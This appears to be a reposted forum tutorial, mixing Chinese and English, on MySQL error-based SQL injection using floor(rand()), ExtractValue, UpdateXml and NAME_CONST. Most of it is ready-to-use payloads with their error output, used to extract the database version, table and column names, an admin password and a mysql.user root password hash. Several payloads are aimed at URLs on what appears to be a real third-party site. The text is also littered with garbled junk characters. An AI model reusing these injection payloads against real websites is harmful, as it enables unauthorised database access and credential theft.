mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
1 ^* C0 ]2 g8 R5 Y% UERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
7 t0 k* G0 \  I5 s4 P/ w, o. nERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
! e. h% Q2 h" F% h' `  {3 }* o测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
. |- N9 \6 k7 a' {" ~, fERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

1 `7 D; E3 q3 C4 Z% R

再收集：

' _6 N$ T& \" C! M# N' @. Zhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
; J0 @) y% `4 X' u
# E( Q7 Y2 }8 y! {Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

: p& n5 ^  y7 x' F, s* F6 U
+ F. ~( R9 z. |+ c1 z相关信息
: o. _0 j  @) C) L! o
% P2 t! K2 T' ONAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
# a! {. u3 [7 y9 j7 ^. @" |/ jNAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)



|---------------|
|     TEST      |
|               |
|---------------|
5 o, l0 f) T6 w! ]|       1       |
2 K2 x9 X. O9 O/ F& b% }|               |
|---------------|


! q8 l  @+ |9 p$ i- x% O7 F
& Z: _+ |' }4 _/ O# i3 w" P
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
* _  }. _* I" J; R- x- g& A3 LIntro to MySQL Variables

- Y3 |* u- c9 GOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
) J3 P, R0 {5 @; P( R  P
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


. q# ^+ ]4 k5 ]5 o8 {  J+ ?

( I) K0 [' P, g, _$ }
, g7 B9 b2 n+ w2 o# l8 Q6 _0 LCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

' m, t! G6 {& R& E, z# v
1 B+ L* @7 x! `1 MVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

( a% V% K$ d+ r4 c& kLet's try it out on my site..
+ X" D' q9 G" i, m$ e9 D2 l) v! Z
3 C, u2 |( [1 w) |! i0 U. l, p$ \& {Code:
3 q$ t' f$ m% i: ^7 ?- c6 }http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
8 T6 P3 z' b4 A( P+ r
Erroruplicate column name '5.0.27-community-nt'

& k% O9 j" w) s! P6 ?, l( X


8 Q2 w0 [$ x6 S5 p5 U+ d( \- E0 b
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

4 C7 r  A6 y" U5 l/ ~( q' \4 N4 GCode:
9 F9 f6 \, _+ q6 }+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
2 V9 l. G# K! [" V& n" p
1 I3 i. L# c& ?% r7 J
0 x4 N$ c" D+ N2 U9 f7 ?  RWe should get a duplicate column 1 error...
+ ?( x: r: j- x% i2 l
+ T- I! o# D3 n4 I3 zCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1

7 e$ d9 V) j5 a+ ^% p

4 F% N& p8 p) r. Y, \9 {) |

' a% S9 f; K7 O. M% n8 ?
Now let's get the tables out this bitch..

1 M$ H& J/ a# M, f$ kCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
& z, ^" w. A5 j0 M; D4 K1 b

Let's see if it works here, if it does, we can go on and finish the job.
, |4 W4 Z8 r! i  q1 v% f  u
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 \) G% f/ z. v% I$ K0 X+ J' \6 {- x
5 R* `% ?/ G( \7 `4 y+ h7 s9 L3 a& x- Q
Erroruplicate column name 'com_admanage


# s1 [# g1 A/ o% ~
/ N9 F2 P* T& \' ]$ ~, E4 i

3 N4 Q% X. w, {. l. ^# T4 w* w
, J% s; N7 ^+ fNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
4 j. Q, S9 S+ K% L- x% X# @
Let's get the columns out of the user table..
4 F" O; I; Y0 I0 ~. ^
' p) _, ~/ |1 U% X) {- `3 rCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

# {* i. M/ \4 ]5 K6 F. u
So mine looks like this, and I get the duplicate column name 'Host'.
) I  q& E5 @+ m  @/ A0 P
, q% `' ?2 T1 e/ MCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
& ], a" D  ]/ B
Erroruplicate column name 'Host'
; d1 ]2 C, q% ?6 p
" D/ j" \2 s, U% P# Z. |$ s: g7 h
) P4 f& L1 d$ @' B7 y  j

+ L# [% D$ S% {1 [1 J1 q
0 n* C- s& S: z: M
Woot, time to finish this bitch off.
5 P' X$ [' K* J
. V  h# i& T4 M; h! ~+ X0 DCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
6 L! O3 Q  |5 O& B  f
8 y( J% {5 I; a( x
, `1 s5 @  p- y# N! d/ xSo mine looks like this...
# L% d6 L( i9 }6 \
7 @2 _0 V6 m1 \. y+ m/ HCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



1 q# ]; L% \  ~6 ]( g6 e3 b3 d


And there we have it, thanks for reading.
7 u/ x3 |2 w, Q" d' j